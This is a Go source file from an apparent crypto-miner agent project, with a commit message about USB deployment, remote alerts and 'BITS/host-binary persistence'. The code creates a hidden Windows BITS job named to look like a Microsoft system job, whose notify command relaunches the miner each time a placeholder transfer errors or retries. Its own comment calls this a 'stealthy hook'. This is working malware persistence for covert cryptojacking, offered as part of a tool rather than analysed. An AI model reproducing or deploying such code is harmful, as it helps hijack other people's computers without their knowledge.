- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
93 lines
2.6 KiB
Go
93 lines
2.6 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
|
|
// miner when the transfer job errors, completes, or retries (common stealthy hook).
|
|
// BitsJobName returns the BITS notify job name for this worker build.
|
|
func BitsJobName(cfg config.RuntimeConfig) string {
|
|
return bitsJobName(cfg)
|
|
}
|
|
|
|
func bitsJobName(cfg config.RuntimeConfig) string {
|
|
base := PersistenceKeyName(cfg)
|
|
if base == "" {
|
|
base = "CryptoMinerAgent"
|
|
}
|
|
return "Microsoft-Windows-BITS-" + sanitizeName(base)
|
|
}
|
|
|
|
func bitsJobExists(jobName string) bool {
|
|
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
|
|
if err != nil {
|
|
return false
|
|
}
|
|
return strings.Contains(string(out), jobName)
|
|
}
|
|
|
|
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
|
|
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
|
|
if strings.TrimSpace(binPath) == "" {
|
|
return fmt.Errorf("binary path required")
|
|
}
|
|
job := bitsJobName(cfg)
|
|
if bitsJobExists(job) {
|
|
return nil
|
|
}
|
|
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if err := os.MkdirAll(installDir, 0o755); err != nil {
|
|
return err
|
|
}
|
|
localFile := filepath.Join(installDir, ".bits-transfer.stub")
|
|
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
|
|
return err
|
|
}
|
|
|
|
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
|
|
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
|
|
params := strings.ReplaceAll(runFlag, `"`, `""`)
|
|
|
|
steps := []struct {
|
|
name string
|
|
args []string
|
|
}{
|
|
{"create", []string{"/create", "/download", job}},
|
|
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
|
|
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
|
|
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
|
|
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
|
|
{"resume", []string{"/resume", job}},
|
|
}
|
|
for _, step := range steps {
|
|
args := append([]string{"bitsadmin"}, step.args...)
|
|
if err := HiddenRun(args[0], args[1:]...); err != nil {
|
|
_ = HiddenRun("bitsadmin", "/cancel", job)
|
|
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
|
|
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
|
|
job := bitsJobName(cfg)
|
|
_ = HiddenRun("bitsadmin", "/cancel", job)
|
|
_ = HiddenRun("bitsadmin", "/complete", job)
|
|
if installDir, err := cfg.InstallDirectory(); err == nil {
|
|
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
|
|
}
|
|
}
|